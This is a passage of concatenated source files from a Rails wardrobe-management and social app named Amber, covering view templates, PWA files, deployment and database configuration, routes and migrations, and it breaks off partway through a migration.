<% if plan.notes.present? %><span class="dim"><%= plan.notes %></span><% end %>
<%= button_to "✕", planned_outfit_path(plan), method: :delete, class: "btn-link" %>
</div>
<% end %>
<% if @planned.empty? %>
<p class="dim">No outfits planned yet.</p>
<% end %>
</div><article>
<header>
<%= link_to post.user.email_address.split("@").first, user_path(post.user) %>
<time datetime="<%= post.created_at.iso8601 %>"><%= time_ago_in_words(post.created_at) %> ago</time>
</header>
<p><%= post.body %></p>
<% if post.outfit %><p><em>Outfit: <%= link_to post.outfit.name, outfit_path(post.outfit) %></em></p><% end %>
<% if post.item %><p><em>Item: <%= link_to post.item.title, item_path(post.item) %></em></p><% end %>
<footer>
<%= button_to "♥ #{post.likes_count}", like_post_path(post), method: :post %>
<% if post.user == Current.user %>
<%= button_to "Delete", post_path(post), method: :delete, data: { turbo_confirm: "Delete?" } %>
<% end %>
</footer>
</article><h1>Your Feed</h1>
<%= link_to "New post", new_post_path, class: "btn" %>
<%= render @posts %>
<%= pagy_nav(@pagy) if @pagy.pages > 1 %><%= turbo_stream_from "posts" %>
<h1>Community</h1>
<%= render @posts %>
<%= pagy_nav(@pagy) if @pagy.pages > 1 %><h1>Share a look</h1>
<%= form_with model: @post do |f| %>
<%= render "shared/errors", object: @post %>
<div class="field">
<%= f.label :body, "What are you wearing?" %>
<%= f.text_area :body, rows: 3, maxlength: 500, placeholder: "Share your outfit…" %>
</div>
<div class="field">
<%= f.label :outfit_id, "Tag an outfit (optional)" %>
<%= f.select :outfit_id, Current.user.outfits.map { |o| [o.name, o.id] }, { include_blank: "—" } %>
</div>
<div class="field">
<%= f.label :item_id, "Tag an item (optional)" %>
<%= f.select :item_id, Current.user.items.map { |i| [i.title, i.id] }, { include_blank: "—" } %>
</div>
<div class="actions"><%= f.submit "Post", class: "btn btn--primary" %></div>
<% end %><%= turbo_stream_from @post %>
<%= render @post %>
<%= link_to 'Back', posts_path %>{
"name": "Amber",
"short_name": "Amber",
"icons": [
{
"src": "/icon-192.png",
"type": "image/png",
"sizes": "192x192"
},
{
"src": "/icon.png",
"type": "image/png",
"sizes": "512x512"
},
{
"src": "/icon.png",
"type": "image/png",
"sizes": "512x512",
"purpose": "maskable"
}
],
"start_url": "/",
"display": "standalone",
"scope": "/",
"description": "AI wardrobe management. Build capsule wardrobes, plan outfits, and discover your personal style.",
"theme_color": "#1a1a1a",
"background_color": "#1a1a1a"
}const CACHE = "amber-v2"
const OFFLINE = "/offline"
self.addEventListener("install", e => {
e.waitUntil(caches.open(CACHE).then(c => c.addAll(["/", OFFLINE])))
self.skipWaiting()
})
self.addEventListener("activate", e => {
e.waitUntil(caches.keys().then(keys =>
Promise.all(keys.filter(k => k !== CACHE).map(k => caches.delete(k)))
))
self.clients.claim()
})
self.addEventListener("fetch", e => {
if (e.request.method !== "GET") return
const url = new URL(e.request.url)
const isNav = e.request.mode === "navigate"
const isAsset = /\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)
if (isAsset) {
e.respondWith(caches.match(e.request).then(cached => cached || fetch(e.request).then(res => {
const clone = res.clone()
caches.open(CACHE).then(c => c.put(e.request, clone))
return res
})))
} else if (isNav) {
e.respondWith(fetch(e.request).catch(() => caches.match(OFFLINE)))
}
})<div class="auth-form">
<h1>Create account</h1>
<%= form_with model: User.new, url: registration_path do |f| %>
<div class="field">
<%= f.label :email_address, "Email" %>
<%= f.email_field :email_address, autofocus: true, autocomplete: "email" %>
</div>
<div class="field">
<%= f.label :password %>
<%= f.password_field :password, autocomplete: "new-password" %>
</div>
<div class="field">
<%= f.label :password_confirmation, "Confirm password" %>
<%= f.password_field :password_confirmation, autocomplete: "new-password" %>
</div>
<div class="actions">
<%= f.submit "Create account", class: "btn btn--primary" %>
</div>
<p><%= link_to "Already have an account? Sign in", new_session_path %></p>
<% end %>
</div><div class="auth-form">
<h1>Sign in</h1>
<%= form_with url: session_path do |f| %>
<%= render "shared/errors", object: f.object if f.object.respond_to?(:errors) %>
<div class="field">
<%= f.label :email_address, "Email" %>
<%= f.email_field :email_address, autofocus: true, autocomplete: "email" %>
</div>
<div class="field">
<%= f.label :password %>
<%= f.password_field :password, autocomplete: "current-password" %>
</div>
<div class="actions">
<%= f.submit "Sign in", class: "btn btn--primary" %>
</div>
<p><%= link_to "Forgot password?", new_password_path %></p>
<% end %>
</div><% if object.errors.any? %>
<div class="errors">
<% object.errors.full_messages.each do |msg| %>
<p class="error-msg"><%= msg %></p>
<% end %>
</div>
<% end %><% flash.each do |type, msg| %>
<div class="flash flash--<%= type %>"><%= msg %></div>
<% end %><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 500" role="img" aria-label="Amber">
<defs>
<path id="swoosh-path" d="M50,220 C250,180 750,180 950,220"/>
<clipPath id="text-mask-1">
<text font-family="'Caprasimo', Arial, sans-serif" letter-spacing="-3" stroke="none">
<textPath href="#swoosh-path" startOffset="2%">amber<tspan dx="10" dy="-40" stroke="none">®</tspan></textPath>
</text>
</clipPath>
</defs>
<g clip-path="url(#text-mask-1)">
<foreignObject x="0" y="100" width="1000" height="300">
<div xmlns="http://www.w3.org/1999/xhtml" class="amber-logo-gradient"></div>
</foreignObject>
</g>
<path stroke="#FFFFFF" stroke-width="0.5" fill="none" d="M50,180 C200,100 400,200 600,100 S850,160 950,130"/>
<path stroke="#FFFFFF" stroke-width="1" fill="none" d="M50,195 C200,115 400,215 600,115 S850,175 950,145"/>
<path stroke="#FFFFFF" stroke-width="1.5" fill="none" d="M50,205 C200,125 400,225 600,125 S850,185 950,155"/>
<path stroke="#FFFFFF" stroke-width="2" fill="none" d="M50,213 C200,133 400,233 600,133 S850,193 950,163"/>
<path stroke="#FFFFFF" stroke-width="2.5" fill="none" d="M50,220 C200,140 400,240 600,140 S850,200 950,170"/>
<path stroke="#FFFFFF" stroke-width="3" fill="none" d="M50,226 C200,146 400,246 600,146 S850,206 950,176"/>
<path stroke="#FFFFFF" stroke-width="3" fill="none" d="M50,231 C200,151 400,251 600,151 S850,211 950,181"/>
<path stroke="#FFFFFF" stroke-width="3.5" fill="none" d="M50,235 C200,155 400,255 600,155 S850,215 950,185"/>
<path stroke="#FFFFFF" stroke-width="4" fill="none" d="M50,238 C200,158 400,258 600,158 S850,218 950,188"/>
</svg><%= pagy_nav(pagy) if pagy.pages > 1 %><%= turbo_stream_from @user %>
<header class="profile-header">
<h1><%= @user.email_address.split("@").first %></h1>
<p><%= @user.items.count %> items · <%= @user.followers.count %> followers · <%= @user.following.count %> following</p>
<% if authenticated? && Current.user != @user %>
<% if Current.user.following?(@user) %>
<%= button_to "Unfollow", unfollow_user_path(@user), method: :delete, class: "btn" %>
<% else %>
<%= button_to "Follow", follow_user_path(@user), method: :post, class: "btn btn--primary" %>
<% end %>
<% end %>
</header>
<h2>Recent items</h2>
<div class="item-grid">
<% @items.each do |item| %>
<%= link_to item_path(item) do %>
<% if item.photos.attached? %>
<%= image_tag item.photos.first, alt: item.title %>
<% else %>
<div class="item-placeholder"><%= item.category %></div>
<% end %>
<p><%= item.title %></p>
<% end %>
<% end %>
</div>
<h2>Posts</h2>
<%= render @posts %><%= form_with model: wardrobe_item do |form| %>
<% if wardrobe_item.errors.any? %>
<%= tag.section role: "alert" do %>
<%= tag.h2 t("shared.errors", count: wardrobe_item.errors.count, default: "Please review the form") %>
<%= tag.ul do %>
<% wardrobe_item.errors.full_messages.each do |message| %>
<%= tag.li message %>
<% end %>
<% end %>
<% end %>
<% end %>
<%= tag.fieldset do %>
<%= form.label :item_id %>
<%= form.number_field :item_id, required: true %>
<% end %>
<%= tag.fieldset do %>
<%= form.label :condition %>
<%= form.select :condition, WardrobeItem::CONDITIONS, include_blank: true %>
<% end %>
<%= tag.fieldset do %>
<%= form.label :acquisition_date %>
<%= form.date_field :acquisition_date %>
<% end %>
<%= tag.fieldset do %>
<%= form.label :notes %>
<%= form.text_area :notes, rows: 4, data: { controller: "textarea-autogrow" } %>
<% end %>
<%= form.submit %>
<% end %><% content_for :title, t("amber.wardrobe.edit", default: "Edit wardrobe item") %>
<%= tag.section class: "wardrobe-form" do %>
<%= tag.h1 t("amber.wardrobe.edit", default: "Edit wardrobe item") %>
<%= render "form", wardrobe_item: @wardrobe_item %>
<% end %><% content_for :title, t("amber.wardrobe.title", default: "Wardrobe") %>
<%= tag.section class: "wardrobe-items" do %>
<%= tag.header do %>
<%= tag.h1 t("amber.wardrobe.title", default: "Wardrobe") %>
<%= link_to t("amber.wardrobe.add", default: "Add item"), new_wardrobe_item_path %>
<% end %>
<% if @wardrobe_items.any? %>
<%= tag.div class: "wardrobe-grid" do %>
<% @wardrobe_items.each do |wardrobe_item| %>
<%= tag.article class: "wardrobe-card" do %>
<%= tag.h2 wardrobe_item.item&.title || wardrobe_item.item&.name || t("amber.wardrobe.untitled", default: "Untitled item") %>
<%= tag.p wardrobe_item.condition if wardrobe_item.condition.present? %>
<%= tag.p wardrobe_item.notes if wardrobe_item.notes.present? %>
<%= link_to t("shared.view", default: "View"), wardrobe_item_path(wardrobe_item) %>
<% end %>
<% end %>
<% end %>
<% else %>
<%= tag.p t("amber.wardrobe.empty", default: "No wardrobe items yet.") %>
<% end %>
<% end %><% content_for :title, t("amber.wardrobe.new", default: "Add wardrobe item") %>
<%= tag.section class: "wardrobe-form" do %>
<%= tag.h1 t("amber.wardrobe.new", default: "Add wardrobe item") %>
<%= render "form", wardrobe_item: @wardrobe_item %>
<% end %># frozen_string_literal: true
require_relative "boot"
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module App
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 8.1
# Please, add to the `ignore` list any other `lib` subdirectories that do
# not contain `.rb` files, or that should not be reloaded or eager loaded.
# Common ones are `templates`, `generators`, or `middleware`, for example.
config.autoload_lib(ignore: %w[assets tasks])
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Don't generate system test files.
config.generators.system_tests = nil
end
end# Async adapter only works within the same process, so for manually triggering cable updates from a console,
# and seeing results in the browser, you must do so from the web console (running inside the dev process),
# not a terminal started via bin/rails console! Add "console" to any action or any ERB template view
# to make the web console appear.
development:
adapter: async
test:
adapter: test
production:
adapter: solid_cable
connects_to:
database:
writing: cable
polling_interval: 0.1.seconds
message_retention: 1.daydefault: &default
store_options:
# Cap age of oldest cache entry to fulfill retention policies
# max_age: <%= 60.days.to_i %>
max_size: <%= 256.megabytes %>
namespace: <%= Rails.env %>
development:
<<: *default
test:
<<: *default
production:
database: cache
<<: *default# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
max_connections: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
# Store production database in the storage/ directory, which by default
# is mounted as a persistent Docker volume in config/deploy.yml.
production:
primary:
<<: *default
database: storage/production.sqlite3
cache:
<<: *default
database: storage/production_cache.sqlite3
migrations_paths: db/cache_migrate
queue:
<<: *default
database: storage/production_queue.sqlite3
migrations_paths: db/queue_migrate
cable:
<<: *default
database: storage/production_cable.sqlite3
migrations_paths: db/cable_migrate# Name of your application. Used to uniquely configure containers.
service: app
# Name of the container image (use your-user/app-name on external registries).
image: app
# Deploy to these servers.
servers:
web:
- 192.168.0.1
# job:
# hosts:
# - 192.168.0.1
# cmd: bin/jobs
# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.
# If used with Cloudflare, set encryption mode in SSL/TLS setting to "Full" to enable CF-to-app encryption.
#
# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.
#
# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).
#
# proxy:
# ssl: true
# host: amber.brgen.no
# Where you keep your container images.
registry:
# Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...
server: localhost:5555
# Needed for authenticated registries.
# username: your-user
# Always use an access token rather than real password when possible.
# password:
# - KAMAL_REGISTRY_PASSWORD
# Inject ENV variables into containers (secrets come from .kamal/secrets).
env:
secret:
- RAILS_MASTER_KEY
clear:
# Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.
# When you start using multiple servers, you should split out job processing to a dedicated machine.
SOLID_QUEUE_IN_PUMA: true
# Set number of processes dedicated to Solid Queue (default: 1)
# JOB_CONCURRENCY: 3
# Set number of cores available to the application on each server (default: 1).
# WEB_CONCURRENCY: 2
# Match this to any external database server to configure Active Record correctly
# Use app-db for a db accessory server on same machine via local kamal docker network.
# DB_HOST: 192.168.0.2
# Log everything from Rails
# RAILS_LOG_LEVEL: debug
# Aliases are triggered with "bin/kamal <alias>". You can overwrite arguments on invocation:
# "bin/kamal logs -r job" will tail logs from the first server in the job section.
aliases:
console: app exec --interactive --reuse "bin/rails console"
shell: app exec --interactive --reuse "bash"
logs: app logs -f
dbc: app exec --interactive --reuse "bin/rails dbconsole --include-password"
# Use a persistent storage volume for sqlite database files and local Active Storage files.
# Recommended to change this to a mounted volume path that is backed up off server.
volumes:
- "app_storage:/rails/storage"
# Bridge fingerprinted assets, like JS and CSS, between versions to avoid
# hitting 404 on in-flight requests. Combines all files from new and old
# version inside the asset_path.
asset_path: /rails/public/assets
# Configure the image builder.
builder:
arch: amd64
# # Build image via remote server (useful for faster amd64 builds on arm64 computers)
# remote: ssh://docker@docker-builder-server
#
# # Pass arguments and secrets to the Docker build process
# args:
# RUBY_VERSION: ruby-3.4.9
# secrets:
# - GITHUB_TOKEN
# - RAILS_MASTER_KEY
# Use a different ssh user than root
# ssh:
# user: app
# Use accessory services (secrets come from .kamal/secrets).
# accessories:
# db:
# image: mysql:8.0
# host: 192.168.0.2
# # Change to 3306 to expose port to the world instead of just local network.
# port: "127.0.0.1:3306:3306"
# env:
# clear:
# MYSQL_ROOT_HOST: '%'
# secret:
# - MYSQL_ROOT_PASSWORD
# files:
# - config/mysql/production.cnf:/etc/mysql/my.cnf
# - db/production.sql:/docker-entrypoint-initdb.d/setup.sql
# directories:
# - data:/var/lib/mysql
# redis:
# image: valkey/valkey:8
# host: 192.168.0.2
# port: 6379
# directories:
# - data:/data# frozen_string_literal: true
require "active_support/core_ext/integer/time"
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.enable_reloading = false
# Eager load code on boot for better performance and memory savings (ignored by Rake tasks).
config.eager_load = true
# Full error reports are disabled.
config.consider_all_requests_local = false
# Turn on fragment caching in view templates.
config.action_controller.perform_caching = true
# Cache assets for far-future expiry since they are all digest stamped.
config.public_file_server.headers = { "cache-control" => "public, max-age=#{1.year.to_i}" }
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = "http://assets.example.com"
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Assume all access to the app is happening through a SSL-terminating reverse proxy.
config.assume_ssl = true
# TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.
# config.force_ssl = true
# Skip http-to-https redirect for the default health check endpoint.
# config.ssl_options = { redirect: { exclude: ->(request) { request.path == "/up" } } }
# Log to STDOUT with the current request id as a default log tag.
config.log_tags = [ :request_id ]
config.logger = ActiveSupport::TaggedLogging.logger(STDOUT)
# Change to "debug" to log everything (including potentially personally-identifiable information!).
config.log_level = ENV.fetch("RAILS_LOG_LEVEL", "info")
# Prevent health checks from clogging up the logs.
config.silence_healthcheck_path = "/up"
# Don't log any deprecations.
config.active_support.report_deprecations = false
# Replace the default in-process memory cache store with a durable alternative.
config.cache_store = :solid_cache_store
# Replace the default in-process and non-durable queuing backend for Active Job.
config.active_job.queue_adapter = :solid_queue
config.solid_queue.connects_to = { database: { writing: :queue } }
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Set host to be used by links generated in mailer templates.
config.action_mailer.default_url_options = { host: "amber.brgen.no", protocol: "https" }
# Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.
# config.action_mailer.smtp_settings = {
# user_name: Rails.application.credentials.dig(:smtp, :user_name),
# password: Rails.application.credentials.dig(:smtp, :password),
# address: "smtp.example.com",
# port: 587,
# authentication: :plain
# }
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
# Only use :id for inspections in production.
config.active_record.attributes_for_inspect = [ :id ]
config.hosts = ["amber.brgen.no"]
config.host_authorization = { exclude: ->(request) { request.path == "/up" } }
end# frozen_string_literal: true
load :rack, :supervisor
hostname = File.basename(__dir__)
port = ENV.fetch("PORT", 61352).to_i
rack hostname do
endpoint Async::HTTP::Endpoint.parse("http://0.0.0.0:\#{port}")
end# frozen_string_literal: true
# Pin npm packages by running ./bin/importmap
pin "application"
pin "@hotwired/turbo-rails", to: "turbo.min.js"
pin "@hotwired/stimulus", to: "@hotwired--stimulus.js" # @3.2.2
pin "@hotwired/stimulus-loading", to: "stimulus-loading.js"
pin_all_from "app/javascript/controllers", under: "controllers"
pin "@stimulus-components/dialog", to: "@stimulus-components--dialog.js" # @1.0.1
pin "@stimulus-components/auto-submit", to: "@stimulus-components--auto-submit.js" # @6.0.0
pin "@stimulus-components/character-counter", to: "@stimulus-components--character-counter.js" # @5.1.0
pin "@stimulus-components/dropdown", to: "@stimulus-components--dropdown.js" # @3.0.0
pin "stimulus-use" # @0.52.3
pin "@stimulus-components/clipboard", to: "@stimulus-components--clipboard.js" # @5.0.0
pin "@stimulus-components/notification", to: "@stimulus-components--notification.js" # @3.0.0
pin "@stimulus-components/timeago", to: "@stimulus-components--timeago.js" # @5.0.2
pin "date-fns" # @4.1.0
pin "@stimulus-components/animated-number", to: "@stimulus-components--animated-number.js" # @5.0.0
pin "@stimulus-components/sortable", to: "@stimulus-components--sortable.js" # @5.0.3
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js" # @0.0.13
pin "@rails/request.js", to: "@rails--request.js.js" # @0.0.13
pin "sortablejs" # @1.15.7# frozen_string_literal: true
require "net/http"
require "uri"
require "json"# frozen_string_literal: true
# This configuration file will be evaluated by Puma. The top-level methods that
# are invoked here are part of Puma's configuration DSL. For more information
# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
#
# Puma starts a configurable number of processes (workers) and each process
# serves each request in a thread from an internal thread pool.
#
# You can control the number of workers using ENV["WEB_CONCURRENCY"]. You
# should only set this value when you want to run 2 or more workers. The
# default is already 1. You can set it to `auto` to automatically start a worker
# for each available processor.
#
# The ideal number of threads per worker depends both on how much time the
# application spends waiting for IO operations and on how much you wish to
# prioritize throughput over latency.
#
# As a rule of thumb, increasing the number of threads will increase how much
# traffic a given process can handle (throughput), but due to CRuby's
# Global VM Lock (GVL) it has diminishing returns and will degrade the
# response time (latency) of the application.
#
# The default is set to 3 threads as it's deemed a decent compromise between
# throughput and latency for the average Rails application.
#
# Any libraries that use a connection pool or another resource pool should
# be configured to provide at least as many connections as the number of
# threads. This includes Active Record's `pool` parameter in `database.yml`.
threads_count = ENV.fetch("RAILS_MAX_THREADS", 3)
threads threads_count, threads_count
# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
port ENV.fetch("PORT", 3000)
# Allow puma to be restarted by `bin/rails restart` command.
plugin :tmp_restart
# Run the Solid Queue supervisor inside of Puma for single-server deployments.
plugin :solid_queue if ENV["SOLID_QUEUE_IN_PUMA"]
# Specify the PID file. Defaults to tmp/pids/server.pid in development.
# In other environments, only set the PID file if requested.
pidfile ENV["PIDFILE"] if ENV["PIDFILE"]default: &default
dispatchers:
- polling_interval: 1
batch_size: 500
workers:
- queues: "*"
threads: 3
processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>
polling_interval: 0.1
development:
<<: *default
test:
<<: *default
production:
<<: *default# examples:
# periodic_cleanup:
# class: CleanSoftDeletedRecordsJob
# queue: background
# args: [ 1000, { batch_size: 500 } ]
# schedule: every hour
# periodic_cleanup_with_command:
# command: "SoftDeletedRecord.due.delete_all"
# priority: 2
# schedule: at 5am every day
production:
clear_solid_queue_finished_jobs:
command: "SolidQueue::Job.clear_finished_in_batches(sleep_between_batches: 0.3)"
schedule: every hour at minute 12# frozen_string_literal: true
Rails.application.routes.draw do
resource :registration, only: %i[new create]
resource :session
resources :passwords, param: :token
resources :items do
member do
post :spark_joy
post :declutter
post :wear
end
collection do
post :archive_seasonal
post :resurface_seasonal
get :shopping_list
end
end
resources :outfits do
collection { get :dressing_room }
member { post :like; patch :reorder; post :share; post :wear }
end
resources :planned_outfits, only: %i[index create destroy]
resources :posts, only: %i[index show new create destroy] do
member { post :like }
collection { get :feed }
end
resources :users, only: :show do
member { post :follow; delete :unfollow }
end
resources :declutter, only: :index, param: :id do
member do
get :review
patch :update_review
post :move
post :challenge
post :complete_challenge
post :outcome
get :last_chance
end
end
scope :ai do
post "items/:id/analyze", to: "ai#analyze_item", as: :ai_analyze_item
post "items/:id/tag", to: "ai#tag_item", as: :ai_tag_item
get "outfits/suggest", to: "ai#suggest_outfits", as: :ai_suggest_outfits
post "outfits/generate", to: "ai#generate_outfit", as: :ai_generate_outfit
get "declutter", to: "ai#declutter_guide", as: :ai_declutter
get "capsule", to: "ai#capsule", as: :ai_capsule
get "palette", to: "ai#color_palette", as: :ai_palette
get "search", to: "ai#search", as: :ai_search
get "moodboard", to: "ai#mood_board", as: :ai_mood_board
get "occasions", to: "ai#occasion_map", as: :ai_occasions
get "style", to: "ai#style_profile", as: :ai_style_profile
post "style", to: "ai#style_profile"
get "pack", to: "ai#packing_list", as: :ai_packing_list
end
root "home#index"
get 'manifest' => 'rails/pwa#manifest', as: :pwa_manifest
get 'service-worker' => 'rails/pwa#service_worker', as: :pwa_service_worker
get "up", to: "rails/health#show", as: :rails_health_check
end# frozen_string_literal: true
ActiveRecord::Schema[7.1].define(version: 1) do
create_table "solid_cable_messages", force: :cascade do |t|
t.binary "channel", limit: 1024, null: false
t.binary "payload", limit: 536870912, null: false
t.datetime "created_at", null: false
t.integer "channel_hash", limit: 8, null: false
t.index ["channel"], name: "index_solid_cable_messages_on_channel"
t.index ["channel_hash"], name: "index_solid_cable_messages_on_channel_hash"
t.index ["created_at"], name: "index_solid_cable_messages_on_created_at"
end
end# frozen_string_literal: true
ActiveRecord::Schema[7.2].define(version: 1) do
create_table "solid_cache_entries", force: :cascade do |t|
t.binary "key", limit: 1024, null: false
t.binary "value", limit: 536870912, null: false
t.datetime "created_at", null: false
t.integer "key_hash", limit: 8, null: false
t.integer "byte_size", limit: 4, null: false
t.index ["byte_size"], name: "index_solid_cache_entries_on_byte_size"
t.index ["key_hash", "byte_size"], name: "index_solid_cache_entries_on_key_hash_and_byte_size"
t.index ["key_hash"], name: "index_solid_cache_entries_on_key_hash", unique: true
end
end# frozen_string_literal: true
class CreateUsers < ActiveRecord::Migration[8.1]
def change
create_table :users do |t|
t.string :email_address, null: false
t.string :password_digest, null: false
t.timestamps
end
add_index :users, :email_address, unique: true
end
end# frozen_string_literal: true
class CreateSessions < ActiveRecord::Migration[8.1]
def change
create_table :sessions do |t|
t.references :user, null: false, foreign_key: true
t.string :ip_address
t.string :user_agent
t.timestamps
end
end
end# frozen_string_literal: true
# This migration comes from active_storage (originally 20170806125915)
class CreateActiveStorageTables < ActiveRecord::Migration[7.0]
def change
# Use Active Record's configured type for primary and foreign keys
primary_key_type, foreign_key_type = primary_and_foreign_key_types
create_table :active_storage_blobs, id: primary_key_type do |t|
t.string :key, null: false
t.string :filename, null: false
t.string :content_type
t.text :metadata
t.string :service_name, null: false
t.bigint :byte_size, null: false
t.string :checksum
if connection.supports_datetime_with_precision?
t.datetime :created_at, precision: 6, null: false
else
t.datetime :created_at, null: false
end
t.index [ :key ], unique: true
end
create_table :active_storage_attachments, id: primary_key_type do |t|
t.string :name, null: false
t.references :record, null: false, polymorphic: true, index: false, type: foreign_key_type
t.references :blob, null: false, type: foreign_key_type
if connection.supports_datetime_with_precision?
t.datetime :created_at, precision: 6, null: false
else
t.datetime :created_at, null: false
end
t.index [ :record_type, :record_id, :name, :blob_id ], name: :index_active_storage_attachments_uniqueness, unique: true
t.foreign_key :active_storage_blobs, column: :blob_id
end
create_table :active_storage_variant_records, id: primary_key_type do |t|
t.belongs_to :blob, null: false, index: false, type: foreign_key_type
t.string :variation_digest, null: false
t.index [ :blob_id, :variation_digest ], name: :index_active_storage_variant_records_uniqueness, unique: true
t.foreign_key :active_storage_blobs, column: :blob_id
end
end
private
def primary_and_foreign_key_types
config = Rails.configuration.generators
setting = config.options[config.orm][:primary_key_type]
primary_key_type = setting || :primary_key
foreign_key_type = setting || :bigint
[ primary_key_type, foreign_key_type ]
end
end# frozen_string_literal: true
class CreateItems < ActiveRecord::Migration[8.1]
def change
create_table :items do |t|
t.string :title
t.string :category
t.string :color
t.string :size
t.string :material
t.string :brand
t.decimal :price
t.integer :times_worn
t.date :purchase_date
t.boolean :spark_joy
t.references :user, null: false, foreign_key: true
t.timestamps
end
end
end# frozen_string_literal: true
class CreateOutfitItems < ActiveRecord::Migration[8.1]
def change
create_table :outfit_items do |t|
t.references :outfit, null: false, foreign_key: true
t.references :item, null: false, foreign_key: true
t.integer :position
t.timestamps
end
end
end# frozen_string_literal: true
class CreatePlannedOutfits < ActiveRecord::Migration[8.1]
def change
create_table :planned_outfits do |t|
t.references :user, null: false, foreign_key: true
t.references :outfit, null: false, foreign_key: true
t.date :planned_date
t.text :notes
t.timestamps
end
end
end# frozen_string_literal: true
class AddExtendedFieldsToItems < ActiveRecord::Migration[8.1]
def change
add_column :items, :mood_effect, :string
add_column :items, :life_phase, :string
add_column :items, :occasion_tags, :string
add_column :items, :season, :string
end
end# frozen_string_literal: true
class CreateOutfits < ActiveRecord::Migration[8.1]
def change
create_table :outfits do |t|
t.string :name
t.text :description
t.string :category
t.string :season
t.string :occasion
t.integer :likes_count
t.references :user, null: false, foreign_key: true
t.timestamps
end
end
end# frozen_string_literal: true
class CreateFollows < ActiveRecord::Migration[8.1]
def change
create_table :follows do |t|
t.references :follower, null: false, foreign_key: true
t.references :followee, null: false, foreign_key: true
t.timestamps
end
end
end# frozen_string_literal: true
class CreatePosts < ActiveRecord::Migration[8.1]
def change
create_table :posts do |t|
t.text :body
t.references :user, null: false, foreign_key: true
t.references :outfit, null: false, foreign_key: true
t.references :item, null: false, foreign_key: true
t.integer :likes_count
t.timestamps
end
end
end# frozen_string_literal: true
class AddAmberIdentityAndIntelligence < ActiveRecord::Migration[8.1]
def change
create_table :profiles do |t|
t.references :user, null: false, foreign_key: true, index: { unique: true }
t.string :display_name
t.text :bio
t.string :location
t.string :visibility, null: false, default: "private"
t.json :style_summary
t.timestamps
end
create_table :privacy_settings do |t|
t.references :user, null: false, foreign_key: true, index: { unique: true }
t.string :wardrobe_visibility, null: false, default: "private"
t.string :analytics_visibility, null: false, default: "private"
t.boolean :allow_ai_analysis, null: false, default: true
t.boolean :allow_creator_remix, null: false, default: false
t.timestamps
end
create_table :creator_profiles do |t|
t.references :user, null: false, foreign_key: true, index: { unique: true }
t.string :handle, null: false
t.string :display_name, null: false
t.text :bio
t.boolean :public, null: false, default: false
t.json :links
t.timestamps
end
add_index :creator_profiles, :handle, unique: true
create_table :creator_wardrobe_items do |t|
t.references :creator_profile, null: false, foreign_key: true
t.references :item, null: false, foreign_key: true
t.string :caption
t.integer :position, null: false, default: 0
t.timestamps
end
add_index :creator_wardrobe_items, %i[creator_profile_id item_id], unique: true
create_table :garment_embeddings do |t|
t.references :item, null: false, foreign_key: true, index: { unique: true }
t.string :provider, null: false
t.string :model, null: false
t.integer :dimensions
t.json :vector
t.json :metadata
t.timestamps
end
create_table :wear_logs do |t|
t.references :user, null: false, foreign_key: true
t.references :item, null: false, foreign_key: true
t.references :outfit, foreign_key: true
t.date :worn_on, null: false
t.string :context
t.json :metadata
t.timestamps
end
add_index :wear_logs, :worn_on
create_table :sustainability_metrics do |t|
t.references :item, null: false, foreign_key: true, index: { unique: true }
t.decimal :resale_value, precision: 10, scale: 2
t.decimal :repair_cost_estimate, precision: 10, scale: 2
